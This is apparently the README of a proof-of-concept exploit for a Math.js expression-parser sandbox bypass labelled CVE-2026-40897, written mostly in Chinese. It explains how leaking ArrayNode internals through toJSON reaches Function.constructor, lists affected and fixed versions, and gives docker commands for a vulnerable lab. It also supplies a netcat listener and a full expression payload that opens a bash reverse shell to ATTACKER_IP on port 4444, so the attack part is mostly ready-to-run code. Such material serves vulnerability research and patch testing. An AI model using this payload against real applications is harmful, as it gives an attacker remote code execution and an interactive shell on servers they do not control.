
Math.js Expression Parser RCE
★ CVE-2026-40897 Math.js 远程代码执行 PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 是一个 沙盒绕过导致远程代码执行 漏洞,存在于 Math.js 的表达式解析器中。
isSafeProperty过滤器仅检查用户表达式中的属性访问,而不检查内部代码路径。通过利用toJSON()泄漏ArrayNode的内部数组并覆盖其.map,攻击者可以强制内部代码访问Function.constructor并执行任意 JavaScript。
| 类别 | 版本 |
|---|---|
| 受影响 | Math.js 13.1.1 ≤ 版本 ≤ 15.1.1 |
| 已修复 | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
启动漏洞环境后,按照以下步骤重现攻击。
nc -lvnp 4444
将以下表达式发送到 math.evaluate(例如,通过应用程序的计算输入)。
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=>callback({'map':f2(callback2)=>callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
目标服务器会反向连接到攻击者的监听器,提供一个交互式 bash shell。
math.evaluate()reviver、FunctionAssignmentNode、ArrayNode)